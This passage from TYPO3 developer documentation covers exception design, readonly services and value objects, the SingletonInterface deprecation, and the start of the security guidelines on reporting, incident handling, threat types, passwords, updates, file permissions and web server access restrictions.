TYPO3 world and especially which types of exceptions should be thrown
under which circumstances.
First of, exceptions are a good thing - there is nothing bad with
throwing them. It is often better to throw an exception than to return
a “mixed” return value from a method to signal that something went
wrong. TYPO3 has a tradition of methods that return either an expected
result set - for instance an array - or alternatively a boolean false
on error. This is often confusing for callers and developers tend to
forget to implement proper error handling for such “false was returned”
cases. This easily leads to hard to track problems. It is often a much
better choice to throw an exception if something went wrong: This gives
the chance to throw a meaningful message directly to the developer or to
a log file for later analysis. Additionally, an exception usually comes
along with a backtrace.
Exception types
Exceptions are a good thing, but how to decide on what to throw exactly?
The basic idea is: If it is possible that an exception needs to be
caught by a higher level code segment, then a specific exception type
- mostly unique for this case - should be thrown. If the exception
should never be caught, then a top-level PHP built-in exception should
be thrown. For PHP built-in exceptions, the actual class is not crucial,
if in doubt, a
\RuntimeException fits - it is much more important
to throw a meaningful exception message in those cases.
Typical cases for exceptions that are designed to be caught
Race conditions than can be created by editors in a normal workflow:
Editor 1 calls list module and a record is shown.
Editor 2 deletes this record.
Editor 1 clicks the link to open this deleted record.
The code throws a catchable, specific named exception that is turned
into a localized error message shown to the user "The record 12
from table tt_content you tried to open has been deleted …".
Temporary issues: Updating the extension list in the Extension Manager
fails because of a network issue - The code throws a catchable, named
exception that is turned into a localized error message shown to the
user "Can not connect to update servers, please check internet
connection …".
Typical cases for exceptions that should not be caught
Wrong configuration: A FlexForm contains a
type=inline field. At the time of this writing, this case was not
implemented, so the code checks for this case and throws a top-level PHP
built-in exception (
\RuntimeException in this case) to point
developers to an invalid configuration scenario.
Programming error / wrong API usage: Code that can not do its job
because a developer did not take care and used an API in a wrong way.
This is a common reason to throw an exception and can be found at lots
of places in the Core. A top-level exception like
\RuntimeException should be thrown.
publicfunction__construct(
string $message = "",
int $code = 0,
\Throwable $previous = null,
){
// ... the logic
}
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TYPO3 typically uses a meaningful exception message and a unique code.
Uniqueness of
$code is created by using a Unix timestamp of
now
(the time when the exception is created): This can be easily created,
for instance using the trivial shell command date +%s. The resulting
number of this command should be directly used as the exception code and never
changed again.
Throwing a meaningful message is important especially if top-level exceptions
are thrown. A developer receiving this exception should get all useful
data that can help to debug and mitigate the issue.
A typical exception hierarchy for specific exceptions in the Core
looks like
\MyVendor\MyExtension\Exception extends \TYPO3\CMS\Core\Exception,
where
\TYPO3\CMS\Core\Exception is the base of all exceptions in TYPO3.
Building on that you can have
MyVendor\MyExtension\Exception\AFunctionality\ASpecificException extends MyVendor\MyExtension\Exception
for more specific exceptions. All of your exceptions
should extend your extension-specific base exception.
So, as rule:
As soon as multiple different specific exceptions are thrown within
some extension, there should be a generic base exception within the extension
that is not thrown itself, and the specific exceptions that are thrown
then extend from this class.
Typically, only the specific exceptions are
caught however. In general, the inheritance hierarchy should not be
extended much deeper and should be kept relatively flat.
Extending exceptions
It can become handy to extend exceptions in order to transport further
data to the code that catches the exception. This can be useful if an
exception is caught and transformed into a localized flash message or
a notification. Typically, those additional pieces of information
should be added as additional constructor arguments:
publicfunction__construct(
string $message = "",
int $code = 0,
\Throwable $previous = null,
string $additionalArgument = '',
int $anotherArgument = 0,
){
// ... the logic
}
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There should be getters for those additional data parts within the
exception class. Enriching an exception with additional data should not
happen with setter methods: Exceptions have a characteristics similar
to “value objects” that should not be changed. Having setters would
spoil this idea: Once thrown, exceptions should be immutable, thus the
only way to add data is by handing it over as constructor arguments.
Scenario:
DatabaseEditRow may throw a
DatabaseRecordException
if the record to open has been deleted meanwhile. This can happen
in inline scenarios, so the TcaInline data provider catches this
exception.
Good: Next to a meaningful exception message, the exception is
enriched with the table name and the uid it was handling in
__construct() to hand over further useful information to the
catching code.
Good: The catching code catches this specific exception, uses the
getters of the exception to get the additional data and creates a
localized error message from it that is enriched with further data
that only the catching code knows.
Good: The exception hierarchy is relatively flat - it extends from
a more generic
\Backend\Form\Exception which itself extends
from
\Backend\Exception which extends
\Exception.
The
\Backend\Form\Exception could have been left out, but
since the backend extension is so huge, the author decided to have
this additional class layer in between.
Good: The method that throws has
@throws annotations to hint
IDEs like PhpStorm that an exception may be received using that
method.
Bad: The exception could have had a more dedicated name like
DatabaseRecordVanishedException or similar.
Good: method
getRecordFromDatabase() throws exceptions at
four different places with only one of them being catchable
(
DatabaseRecordException) and the other three being
top-level PHP built-in exceptions that indicate a developer / code
usage error.
Bad: The generic exception messages could be more verbose and
explain in more detail on what went wrong.
This chapter is largely obsolete in modern TYPO3 programming where
services are used correctly: Stateless services
should be "shared", meaning the service container creates a single instance and
injects that instance into all other services that require it. These services
are referred to as "singletons".
TYPO3 has an old way of designating a class as a singleton: Classes that
implement
SingletonInterface . This approach
dates back to a time before TYPO3 offered a comprehensive
dependency injection solution. The interface
is still considered when injecting such a service and when creating an instance
via
GeneralUtility::makeInstance().
SingletonInterface has no methods to implement. Services implementing the
interface are automatically declared public.
Due to the overlap with "shared services", TYPO3 core development is gradually reducing
the number of classes that implement
SingletonInterface. This process often
involves transforming service classes into stateless services, using dependency injection
in service consumers, and updating tests to avoid reliance on the test-related method
GeneralUtility::addSingletonInstance(). It is a gradual transition that requires
time.
Extension developers should also refrain from using
SingletonInterface: New code
should not depend on it, and existing code be refactored to eliminate its usage over
time.
About
readonly
PHP v8.1 introduced
readonly properties
while PHP v8.2 added
readonly classes.
readonly properties can only be written once - usually in the constructor.
Declaring services and
value objects as readonly is
beneficial for TYPO3 Core and extensions, offering immutability and clarity
regarding the statelessness of services.
This document discusses the use of readonly within the TYPO3 Core ecosystem,
outlining best practices for TYPO3 extension and Core developers regarding the
adoption and avoidance of this language feature.
Readonly services
Readonly properties align seamlessly with services using
constructor injection, e.g.:
Well designed stateless services with no properties apart from those declared using
constructor property promotion
can be declared
readonly on class level:
Declaring properties or - even better - entire service classes readonly is a great
way to clarify possible impact of state within services: If used correctly, readonly
tells developers this service is stateless, shared, and can be used in any
context and as often as needed without side effects from previous usages, and without
influencing possible further usages within the same request. Statelessness
is an important asset of services and readonly helps to sort out this question.
Even when a service class is declared as readonly, ensuring immutability at its level,
it can still become stateful if any of its injected dependencies are stateful. This
undermines the benefits of readonly design, as statefulness in dependencies can
introduce unintended side effects and compromise the stateless nature of the service.
TYPO3 Core strives to avoid such scenarios, particularly for services that are widely
used by extensions. This ensures predictable behavior, minimizes side effects, and
maintains consistency in the broader ecosystem. Developers should carefully analyze
dependencies for statefulness when designing readonly services.
The TYPO3 Core development adopted the readonly feature early, recognizing its
advantages for improving immutability, reducing side effects, and clarifying
service design. However, its use requires careful consideration. The Core merger
team established guidelines to determine when readonly can and should be added,
which also serve as best practices for extension developers:
General Recommendation: Declaring services or their properties as readonly
is highly encouraged. Once added, the readonly declaration is rarely removed since
it aligns with the effort to make services stateless.
Leaf Classes: Existing services that are "leaf" classes (i.e., not intended
to be extended by other classes) can have readonly applied to single properties
or the entire class. This is typically not considered a breaking change, even in
stable code branches, as it only affects XCLASS extensions, which are not covered
by TYPO3's backward compatibility promise.
Method Injection: Services retrieved via inject*() methods
are not currently declared readonly, as tools like PHPStan expect readonly properties
to be initialized in the constructor only. This might change in the future, but it is
not a high priority.
Abstract Classes: Existing abstract classes that are intended for extension by
developers should not be declared readonly. Declaring an abstract class readonly
would force all inheriting classes to also be readonly, which can create compatibility
issues for extensions that need to support multiple TYPO3 versions. For example,
Extbase's abstract ActionController will not be declared readonly.
Readonly value objects
Readonly value objects are immutable by design. They align seamlessly with
public constructor property promotion for simplicity:
Read only value object using public constructor property promotion
final readonly classLabel{
publicfunction__construct(
public string $label,
public string $color = '#ff8700',
public int $priority = 0,
){}
}
Copied!
Immutable objects improve reliability and reduce side effects. TYPO3 Core gradually
adopts immutability for newly created constructs and selectively for existing data
objects. Such
final readonly data objects must be instantiated using
new() and named arguments.
Summary
Readonly properties and classes provide a robust framework for stateless, immutable design
in TYPO3 services and simplifies value objects. While Core development continues adopting
these features, extension developers are encouraged to follow these best practices to
enhance code clarity and maintainability.
Security guidelines
TYPO3 is built with strong security principles, but maintaining a secure
installation requires ongoing attention from everyone involved —
administrators, integrators, developers, and editors.
This guide provides practical recommendations to protect your TYPO3
instance from common threats such as unauthorized access, insecure
configurations, extension vulnerabilities, and more.
It also explains how to respond to incidents, how the TYPO3 Security
Team operates, and where to stay informed about updates and security
advisories.
Each section focuses on a particular role, topic, or concern, helping you
quickly find the information most relevant to your responsibilities or
situation.
TYPO3 takes security seriously—both in its Core development and through
the work of the official TYPO3 Security Team. But security is not just a
feature of the system. It is a shared responsibility that involves system
administrators, integrators, editors, and developers.
This chapter outlines common risks and how to mitigate them. It also
explains how the TYPO3 Security Team handles incidents and how to respond
if your site is compromised.
Security is not a fixed state—it is an ongoing process. Protecting your
site requires regular review, timely updates, and responsible access
control.
Reporting a security issue
If you would like to report a security issue in a TYPO3 extension or
the TYPO3 Core system, please report it to the TYPO3 Security Team.
Please refrain from making anything public before an official fix is
released. Read more about the process of incident handling by the
TYPO3 Security Team.
TYPO3 Core security updates, extension security updates, and unmaintained
insecure extensions are announced in formal
TYPO3 Security Bulletins.
Reporting a security issue
If you find a security issue in the TYPO3 Core system or in a TYPO3
extension (even if it is your own development), please report it to
the TYPO3 Security Team – the Security Team only.
Do not disclose the issue in public (for example in mailing lists, forums, on Twitter,
your website or any 3rd party website).
The team strives to respond to all reports within
2 working days, but please allow a reasonable amount of
time to assess the issue and get back to you with an answer. If you
suspect that your report has been overlooked, feel free to submit a
reminder a few days after your initial submission.
Extension review
The TYPO3 Security Team does not perform individual reviews or audits of TYPO3 extensions.
If you require a professional security audit of your extension or website,
consider engaging an experienced TYPO3 agency. Official TYPO3 Solution Partners
often provide such services, including:
Additionally, some third-party providers also offer TYPO3 security services.
Make sure to evaluate their experience and qualifications carefully.
Incident handling
This section provides detailed information about the differences between
the TYPO3 Core system and TYPO3 extensions and how the TYPO3 Security
Team deals with security issues of those.
Security issues in the TYPO3 Core
If the TYPO3 Security Team gains knowledge about a security issue in
the TYPO3 Core system, they work closely together with the developers
of the appropriate component of the system, after verifying the
problem. A fix for the vulnerability will be developed, carefully
tested and reviewed. Together with a public security bulletin, a TYPO3
Core update will be released. Please see next chapter for further
details about TYPO3 versions and security bulletins.
Security issues in TYPO3 extensions
When the TYPO3 Security Team receives a report of a security issue in
an extension, the issue will be checked in the first stage. If a
security problem can be confirmed, the Security Team tries to get in
touch with the extension developer and requests a fix. Then one of the
following situations usually occurs:
the developer acknowledges the security vulnerability and delivers a
fix
the developer acknowledges the security vulnerability but does not
provide a fix
the developer refuses to produce a security fix (e.g. because he does
not maintain the extension anymore)
the developer cannot be contacted or does not react
In the case where the extension author fails to provide a security fix
in an appropriate time frame (see below), all affected versions of the
extension will be removed from the TYPO3 Extension Repository (TER)
and a security bulletin will be published (see below), recommending to
uninstall the extension.
If the developer provides the TYPO3 Security Team with an updated
version of the extension, the team reviews the fix and checks if the
problem has been solved. The Security Teams also prepares a security
bulletin and coordinates the release date of the new extension version
with the publication date of the bulletin.
Extension developers must not upload the new version of the extension
before they received the go-ahead from the Security Team.
If you discover a security problem in your own extension, please
follow this procedure as well and coordinate the release of the fixed
version with the TYPO3 Security Team.
Further details about the handling of security incidents and time
frames can be found in the official
TYPO3 Extension Security Policy
TYPO3 version support and security updates
TYPO3 evolves through regular releases, including Long Term Support (LTS) versions
and Sprint Releases. This page explains which versions are supported, how security
updates are announced, and what to expect from TYPO3's Core and extension maintenance.
It also shows how to stay informed and react quickly to vulnerabilities.
TYPO3 is offered in Long Term Support (LTS) and Sprint Release versions.
The first versions of each branch are Sprint Release versions. A Sprint Release
version only receives support until the next Sprint Release got published. For
example, TYPO3 v12.0.0 was the first Sprint Release of the v12 branch and its
support ended when TYPO3 v12.1.0 got released.
An LTS version is planned to be created every 18 months. LTS versions are created
from a branch in order to finalize it: Prior to reaching LTS status, a number of
Sprint Releases has been created from that branch and the release of an LTS version
marks the point after which no new features will be added to this branch. LTS
versions get full support (bug fixes and security fixes) for at least three years.
TYPO3 version 11 (v11) and v12 are such LTS versions.
The minor-versions are skipped in the official
naming. 13 LTS is version v13.4 internally and 12 LTS is v12.4. Versions inside
a major-version have minor-versions as usual (v13.0, v13.1, ...) until at some
point the branch receives LTS status.
Support and security fixes are provided for the current as well as the
preceding LTS release. For example, when TYPO3 v13 is the current LTS release,
TYPO3 v12 is still actively supported, including security updates.
For users of v12 an update to v13 is recommended. All versions below TYPO3 v12 are
outdated and the regular support of these versions has ended, including security updates.
Users of these versions are strongly encouraged to update their systems
as soon as possible.
In cases where users cannot yet upgrade to a supported version, the TYPO3 GmbH is offering
an Extended Long Term Support (ELTS) service for up to three years after the regular support has ended.
Subscribers to the ELTS plans receive security and compatibility updates.
LTS and Sprint Releases offer new features and often a modified
database structure. Also the visual appearance and handling of the
backend may be changed and appropriate training for editors may be
required. The content rendering may change, so that updates in
TypoScript, templates or CSS code may be necessary. With LTS and
Sprint Releases also the system requirements (for example PHP or MySQL
version) may change. For a patch level release (i.e.
changing from release v12.4.0 to v12.4.1) the database structure and
backend will usually not change and an update will only require the
new version of the source code.
v12 (12.4 LTS): Versions 12.0 through 12.3 do not receive security
updates any longer
v13 (13.4 LTS): Versions 13.0 through 13.3 do not receive security
updates any longer
Difference between Core and extensions
The TYPO3 base system is called the Core. The functionality of the
Core can be expanded, using extensions. A small, selected number of
extensions (the system extensions) are being distributed as part of
the TYPO3 Core. The Core and its system extensions are being developed
by a relatively small team (40-50 people), consisting of experienced
and skilled developers. All code being submitted to the Core is
reviewed for quality by other Core Team members.
Currently there are more than 5500 extensions available in the TYPO3
Extension Repository (TER), written by some 2000 individual
programmers. Since everybody can submit extensions to the TER, the
code quality varies greatly. Some extensions show a very high level of
code quality, while others have been written by amateurs. Most of the
known security issues in TYPO3 have been found in these extensions,
which are not part of the Core system.
Announcement of updates and security fixes
Information about new TYPO3 releases as well as security bulletins are
being announced on the "TYPO3 Announce" mailing list. Every system
administrator who hosts one or more TYPO3 instances, and every TYPO3
integrator who is responsible for a TYPO3 project should subscribe to
this mailing list, as it contains important information. You can
subscribe at https://lists.typo3.org/cgi-bin/mailman/listinfo/typo3-announce.
This is a read-only mailing list, which means that you cannot reply to
a message or post your own messages. The announce list typically does
not distribute more than 3 or 4 mails per month. However it is highly
recommended to carefully read every message that arrives, because they
contain important information about TYPO3 releases and security
bulletins.
Other communication channels such as https://news.typo3.org/, a RSS feed,
an official Twitter account @typo3\_security etc.
can be used additionally to stay up-to-date on security advisories.
Security bulletins
When security updates for TYPO3 or an extension become available, they
will be announced on the "TYPO3 Announce" mailing list, as described
above, but also published with much more specific details on the
official TYPO3 Security Team website at https://typo3.org/help/security-advisories/.
Security bulletins for the TYPO3 Core are separated from security
bulletins for TYPO3 extensions. Every bulletin has a unique advisory
identifier such as TYPO3-CORE-SA-yyyy-nnn (for bulletins applying to
the TYPO3 Core ) and TYPO3-EXT-SA-yyyy-nnn (for bulletins applying to
TYPO3 extensions), where yyyy stands for the appropriate year of
publication and nnn for a consecutively increasing number.
The bulletins contain information about the versions of TYPO3 or
versions of the extension that are affected and the type of security
issue (e.g. information disclosure, cross-site scripting, etc.). The
bulletin does not contain an exploit or a description on how to
(ab)use the security issue.
For some critical security issues the TYPO3 Security Team may decide
to pre-announce a security bulletin on the "TYPO3 Announce" mailing
list. This is to inform system administrators about the date and time
of an upcoming important bulletin, so that they can schedule the
update.
Security issues in the TYPO3 Core which are only exploitable by users
with administrator privileges (including system components that are
accessible by administrators only, such as the Install Tool) are
treated as normal software "bugs" and are fixed as part of the
standard Core review process. This implies that the development of the
fix including the review and deployment is publicly visible and can be
monitored by everyone.
Public service announcements
Important security related information regarding TYPO3 products or the
typo3.org infrastructure are published as so called "Public Service
Announcements" (PSA). Unlike other advisories, a PSA is usually not
accompanied by a software release, but still contain information about
how to mitigate a security related issue.
Topics of these advisories include security issues in third party
software like such as Apache, Nginx, MySQL, PHP, etc. that are related
to TYPO3 products, possible security related misconfigurations in third
party software, possible misconfigurations in TYPO3 products, security
related information about the server infrastructure of typo3.org and
other important recommendations how to securely use TYPO3 products.
Common vulnerability scoring system (CVSS)
Since 2010 the TYPO3 Security Team also publishes a CVSS rating with
every security bulletin. CVSS ("Common Vulnerability Scoring System" is
a free and open industry standard for communicating the characteristics
and impacts of vulnerabilities in Information Technology. It enables
analysts to understand and properly communicate disclosed vulnerabilities
and allows responsible personnel to prioritize risks. Further details
about CVSS are available at https://www.first.org/cvss/user-guide
Types of Security Threats
This section provides a brief overview of the most common security
threats to give the reader a basic understanding of them. The sections
for system administrators, TYPO3 integrators and editors explain in
more detail how to secure a system against those threats.
Information disclosure
This means that the system makes (under certain circumstances)
information available to an outside person. Such information could be
sensitive user data (e.g. names, addresses, customer data, credit card
details, etc.) or details about the system (such as the file system
structure, installed software, configuration options, version numbers,
etc). An attacker could use this information to craft an attack
against the system.
There is a fine line between the protection against information
disclosure and so called "security by obscurity". Latter means, that
system administrators or developers try to protect their
infrastructure or software by hiding or obscuring it. An example would
be to not reveal that TYPO3 is used as the content management system
or a specific version of TYPO3 is used. Security experts say, that
"security by obscurity" is not security, simply because it does not
solve the root of a problem (e.g. a security vulnerability) but tries
to obscure the facts only.
Identity theft
Under certain conditions it may be possible that the system reveals
personal data, such as customer lists, e-mail addresses, passwords,
order history or financial transactions. This information can be used
by criminals for fraud or financial gains. The server running a TYPO3
website should be secured so that no data can be retrieved without the
consent of the owner of the website.
SQL injection
With SQL injection the attacker tries to submit modified SQL
statements to the database server in order to get access to the
database. This could be used to retrieve information such as customer
data or user passwords or even modify the database content such as
adding administrator accounts to the user table. Therefore it is
necessary to carefully analyze and filter any parameters that are used
in a database query.
Code injection
Similar to SQL injection described above, "code injection" includes
commands or files from remote instances (RFI: Remote File Inclusion)
or from the local file system (LFI: Local File Inclusion). The fetched
code becomes part of the executing script and runs in the context of
the TYPO3 site (so it has the same access privileges on a server
level). Both attacks, RFI and LFI, are often triggered by improper
verification and neutralization of user input.
Local file inclusion can lead to information disclosure (see above),
for example reveal system internal files which contain configuration
settings, passwords, encryption keys, etc.
Authentication bypass
In an authorization bypass attack, an attacker exploits
vulnerabilities in poorly designed applications or login forms (e.g.
client-side data input validation). Authentication modules shipped
with the TYPO3 Core are well-tested and reviewed. However, due to the
open architecture of TYPO3, this system can be extended by alternative
solutions. The code quality and security aspects may vary, see chapter
Guidelines for TYPO3 Integrators: TYPO3 extensions for further details.
Cross-site scripting (XSS)
Cross-site scripting occurs when data that is being processed by an
application is not filtered for any suspicious content. It is most
common with forms on websites where a user enters data which is then
processed by the application. When the data is stored or sent back to
the browser in an unfiltered way, malicious code may be executed. A
typical example is a comment form for a blog or guest book. When the
submitted data is simply stored in the database, it will be sent back
to the browser of visitors if they view the blog or guest book
entries. This could be as simple as the inclusion of additional text
or images, but it could also contain JavaScript code of iframes that
load code from a 3rd party website.
In this type of attack unauthorized commands are sent from a user a
website trusts. Consider an editor that is logged in to an application
(like a CMS or online banking service) and therefore is authorized in
the system. The authorization may be stored in a session cookie in the
browser of the user. An attacker might send an e-mail to the person
with a link that points to a website with prepared images. When the
browser is loading the images, it might actually send a request to the
system where the user is logged in and execute commands in the context
of the logged-in user.
One way to prevent this type of attack is to include a secret token
with every form or link that can be used to check the authentication
of the request.
General security guidelines
The recommendations in this chapter apply for all roles: system
administrators, TYPO3 integrators, editors and strictly speaking even
for (frontend) users.
Secure passwords
It is critical that every user is using secure passwords to
authenticate themselves at systems like TYPO3. Below are rules that
should be implemented in a password policy:
Ensure that the passwords you use have a minimum length of 8 or more
characters.
Passwords should have a mix of upper and lower case letters, numbers
and special characters.
Passwords should not be made up of personal information such as names,
nick names, pet's names, birthdays, anniversaries, etc.
Passwords should not be made out of common words that can be found in
dictionaries.
Do not store passwords on Post-it notes, under your desk cover, in
your wallet, unencrypted on USB sticks or somewhere else.
Always use a different password for different logins! Never use the
same password for your e-mail account, the TYPO3 backend, an online
forum and so on.
Change your passwords in regular intervals but not too often (this
would make remembering the correct password too difficult) and avoid
to re-use the last 10 passwords.
Do not use the "stay logged in" feature on websites and do not store
passwords in applications like FTP clients. Enter the password
manually every time you log in.
A good rule for a secure password would be that a search engine such
as Google should deliver no results if you would search for it. Please
note: do not determine your passwords by this idea – this is an
example only how cryptic a password should be.
Another rule is that you should not choose a password that is too
strong either. This sounds self-contradictory but most people will
write down a password that is too difficult to remember – and this is
against the rules listed above.
In a perfect world you should use "trusted" computers, only. Public
computers in libraries, internet cafés, and sometimes even computers
of work colleagues and friends can be manipulated (with or without the
knowledge of the owner) and log your keyboard input.
Tip
Since TYPO3 v12.0 password policies can be configured in backend and/or
frontend context. Have a look into the chapter Password policies.
Operating System and Browser Version
Make sure that you are using up-to-date software versions of your
browser and that you have installed the latest updates for your
operating system (such as Microsoft Windows, Mac OS X or Linux). Check
for software updates regularly and install security patches
immediately or at least as soon as possible.
It is also recommended to use appropriate tools for detecting viruses,
Trojans, keyloggers, rootkits and other "malware".
Communication
A good communication between several roles is essential to clarify
responsibilities and to coordinate the next steps when updates are
required, an attacked site needs to be restored or other security-
related actions need to be done as soon as possible.
A central point of contact, for example a person or a team responsible
for coordinating these actions, is generally a good idea. This also
lets others (e.g. integrators, editors, end-users) know, to whom they
can report issues.
React Quickly
TYPO3 is open source software as well as all TYPO3 extensions
published in the TYPO3 Extension Repository (TER). This means,
everyone can download and investigate the code base. From a security
perspective, this usually improves the software, simply because more
people review the code, not only a few Core developers. Currently,
there are hundreds of developers actively involved in the TYPO3
community and if someone discovers and reports a security issue,
he/she will be honored by being credited in the appropriate security
bulletin.
The open source concept also implies that everyone can compare the old
version with the new version of the software after a vulnerability
became public. This may give an insight to anyone who has programming
knowledge, how to exploit the vulnerability and therefore it is
understandable how important it is, to react quickly and fix the issue
before someone else compromises it. In other words, it is not enough
to receive and read the security bulletins, it is also essential to
react as soon as possible and to update the software or deinstall the
affected component.
The security bulletins may also include specific advice such as
configuration changes or similar. Check your individual TYPO3 instance
and follow these recommendations.
Keep the TYPO3 Core up-to-date
As described in TYPO3 versions chapter, a
new version of TYPO3 can either be a major update (e.g. from version 10.x.x to
version 11.x.x), a minor update (e.g. from version 11.4.x to version
11.5.x) or a maintenance/bugfix/security release (e.g. from version
11.5.11 to 11.5.12).
In most cases, a maintenance/bugfix/security update is a no-brainer,
see chapter Patch/Bugfix updates <t3coreapi:minor>
for further details.
When you extract the archive file of new TYPO3 sources into the
existing install directory (e.g. the web root of your web server) and
update the symbolic links, pointing to the directory of the new version,
do not forget to delete the old and possibly insecure TYPO3 Core
version. Failing doing this creates the risk of leaving the source code
of the previous TYPO3 version on the system and as a consequence, the
insecure code may still be accessible and a security vulnerability
possibly exploitable.
Another option is to store the extracted TYPO3 sources outside of the
web root directory (so they are not accessible via web requests) as
a general rule and use symbolic links inside the web root to point to
the correct and secure TYPO3 version.
Keep TYPO3 Extensions Up-to-date
Do not rely on publicly released security announcements only. Reading
the official security bulletins and updating TYPO3 extensions which
are listed in the bulletins is an essential task but not sufficient to
have a "secure" system.
Extension developers sometimes fix security issues in their extensions
without notifying the Security Team (and maybe without mentioning it
in the ChangeLog or in the upload comments). This is not the
recommended way, but possible. Therefore updating extensions whenever
a new version is published is a good idea in general – at least
investigating/reviewing the changes and assessing if an update is
required.
Also keep in mind that attackers often scan for system components that
contain known security vulnerabilities to detect points of attack.
These "components" can be specific software packages on a system
level, scripts running on the web server but also specific TYPO3
versions or TYPO3 extensions.
The recommended way to update TYPO3 extensions is to use TYPO3's
internal Extension Manager (EM). The EM takes care of the download of
the extension source code, extracts the archive and stores the files in
the correct place, overwriting an existing old version by default. This
ensures, the source code containing a possible security vulnerability
will be removed from server when a new version of an extension is
installed.
When a system administrator decides to create a copy of the directory of
an existing insecure extension, before installing the new version, he/she
often introduces the risk of leaving the (insecure) copy on the web
server. For example:
The risk of exploiting a vulnerability is minimal, because the source
code of the extension is not loaded by TYPO3, but it depends on the type
of vulnerability of course.
The advice is to move the directory of the old version outside of the
web root directory, so the insecure extension code is not accessible.
Use staging servers for developments and tests
During the development phase of a project and also after the launch of
a TYPO3 site as ongoing maintenance work, it is often required to test
if new or updated extensions, PHP, TypoScript or other code meets the
requirements.
A website that is already "live" and publicly accessible should not be
used for these purposes. New developments and tests should be done on
so called "staging servers" which are used as a temporary stage and
could be messed up without an impact on the "live" site. Only
relevant/required, tested and reviewed clean code should then be
implemented on the production site.
This is not security-related on the first view but "tests" are often
grossly negligent implemented, without security aspects in mind.
Staging servers also help keeping the production sites slim and clean
and reduce maintenance work (e.g. updating extensions which are not in
use).
Update the TYPO3 Core or any affected
third-party extensions as soon as possible after security fixes are released.
Use individual account names. Do not share accounts. For example,
administrator and system maintainer account names should be something like
john.doe. Do not use general usernames like "admin".
Use different passwords for the
Install Tool
and your personal backend login. Do not reuse passwords across multiple
TYPO3 installations.
Never use the same password for a TYPO3 installation and other
services such as FTP, SSH, etc.
If you are responsible for the setup and configuration of TYPO3,
carefully follow the
Guidelines for TYPO3 integrators
which are documented in the next chapter.
Please refer to the chapters below for security-related topics of
interest to administrators:
In this chapter, a system administrator is a person responsible for a
server hosting a TYPO3 instance. This includes having full Operation System level
access and managing installation, configuration, and maintenance, including the
database, web server, PHP, TYPO3, and tools like ImageMagick.
They are also responsible for infrastructure security, which includes network access,
secure protocols (e.g., SSH, FTP), and correct file permissions.
This role often overlaps with that of a TYPO3 integrator and may be held by the
same person.
Verify integrity of TYPO3 code
Ensuring that the TYPO3 source code has not been tampered with is very important
for security reasons. TYPO3 can either be installed via Composer or by downloading
a prebuilt package. Each method requires different integrity checks.
Composer-based installations
When using Composer, TYPO3 and its dependencies are downloaded directly by
Composer from trusted sources such as packagist.org and packages.typo3.org.
Commit the composer.lock file to track versions and sources
Keep Composer and your system's trusted certificate store (CA certificates)
up to date to ensure secure HTTPS connections when downloading packages.
Composer ensures a secure and verifiable dependency management workflow. It is
recommended to run Composer locally or in a
CI pipeline,
and deploy only the
prepared files - including the vendor/ directory -
to the production environment.
Classic (non-Composer) installations
If installing TYPO3 via a downloaded archive (ZIP, tar.gz), verify the
SHA2-256 checksum before extracting. Only download from the official site:
get.typo3.org.
Avoid vendor-provided or pre-installed packages unless you fully trust their
source.
Secure file permissions (operating system level)
This chapter explains how to securely configure file and directory permissions
at the operating system level for TYPO3 installations. It focuses on who can
read and write to files on disk.
A common risk is allowing one user to read or modify another client's files—
especially in shared environments. A misconfigured server where all sites run
as the same user can allow cross-site scripting, data theft, or manipulation of
TYPO3 files such as config/system/settings.php.
TYPO3 can be installed either in classic (non-Composer) mode or using a
Composer-based setup. Each approach requires a slightly different file
permission strategy.
In Composer-based TYPO3 installations, the document root is typically a
public/ directory. Core files, extensions, and the vendor/ directory
reside outside the web root, improving security by design.
Recommendations:
Set the web server's document root to public/ only.
Grant the web server user write access to:
public/fileadmin/
public/typo3temp/
var/ (used for cache, logs, sessions, etc.)
The public/_assets/ directory must be readable by the web server.
It is generated during deployment or Composer operations and should not be
writable at runtime.
The config/ directory should be read-only for the web server in
production environments unless certain TYPO3 features require write access:
To allow changing site configurations via the backend, the web server needs
write access to config/sites/.
To allow system maintainers to update settings via the Admin Tools module,
the web server needs write access to config/system/settings.php.
Keep vendor/, composer.json, and public/index.php
read-only for the web server.
Classic-mode installations
In classic TYPO3 installations, all TYPO3 files (Core, extensions, uploads) are located
inside the web server's document root. This increases the risk of file exposure or
accidental manipulation, making secure filesystem permissions essential.
Recommendations:
On shared hosting, ensure each virtual host runs under a separate system user.
Revoke write access for the web server user to the TYPO3 core source directories,
especially typo3/sysext/ (core system extensions) and vendor/
Allow write access only to:
fileadmin/
typo3temp/
Only grant write access to subdirectories within typo3conf/ as needed:
typo3conf/ext/, typo3conf/autoload/, typo3conf/PackageStates.php:
Required if you want to install or update extensions using the Extension Manager.
typo3conf/sites/: Stores site configuration; writable if managing sites
through the backend.
typo3conf/system/: Stores system settings; writable if modifying settings
via the Admin Tools → Settings module.
typo3conf/l10n/: Must be writable to allow downloading or updating
translation files via the Admin Tools.
The rest of the typo3conf/ directory should remain read-only to the
web server where possible.
On UNIX/Linux systems, enforce appropriate user/group ownership and permissions
(e.g., chmod, chown).
Check file permissions in the backend
TYPO3 provides a built-in backend tool to verify directory permissions.
You can access it via:
Admin Tools > Environment > Directory Status
This view lists key directories such as fileadmin/, config/,
var/, and others, and shows whether the current web server user has
the recommend level of access.
Use this tool to confirm that required directories are writable after
deployment or when debugging permission-related issues.
Restrict HTTP access
This chapter explains how to configure your web server (Apache, NGINX, IIS)
to prevent public access to sensitive files in a TYPO3 installation. TYPO3 can
be installed in classic (non-Composer) or Composer-based mode, and web server
configuration differs significantly between the two. This chapter outlines
recommendations for both setups.
For Composer-based TYPO3 installations, the public document root is typically
the public/ directory. All web-accessible files are
placed in this folder, while all sensitive and internal application files
(e.g., vendor/, .git/, configuration files) are stored outside
the document root by default.
This layout significantly reduces the risk of accidental exposure of
sensitive files, eliminating the need for complex blacklisting rules.
Recommendations for Composer-based installations:
Ensure the web server document root points to the public/
directory only.
Verify that all non-public files (e.g., composer.json, .env,
vendor/, config/) are outside of this directory.
Keep your public/.htaccess (Apache) or server config (NGINX/IIS)
files updated to deny access to any critical files inside the public folder.
Store downloadable files that are only intended for authenticated users in
File storage
located outside the document root. Deliver them programmatically to
authenticated users, for example using extensions like
leuchtfeuer/secure-downloads
.
Classic-mode installations
In classic TYPO3 installations (without Composer), all files are contained in the
web root directory. This increases the risk of accidental exposure of internal
files. For example, temporary files such as backups or logs may become
accessible unless explicitly protected.
Restricting access to sensitive files
Some experts recommend denying access to certain file types (e.g.,
.bak, .tmp, .sql, .old) using web server rules
like Apache's FilesMatch directive. This helps prevent downloads of
sensitive files that have accidentally been placed in the document root.
However, this is a workaround — not a real solution. The proper approach is to
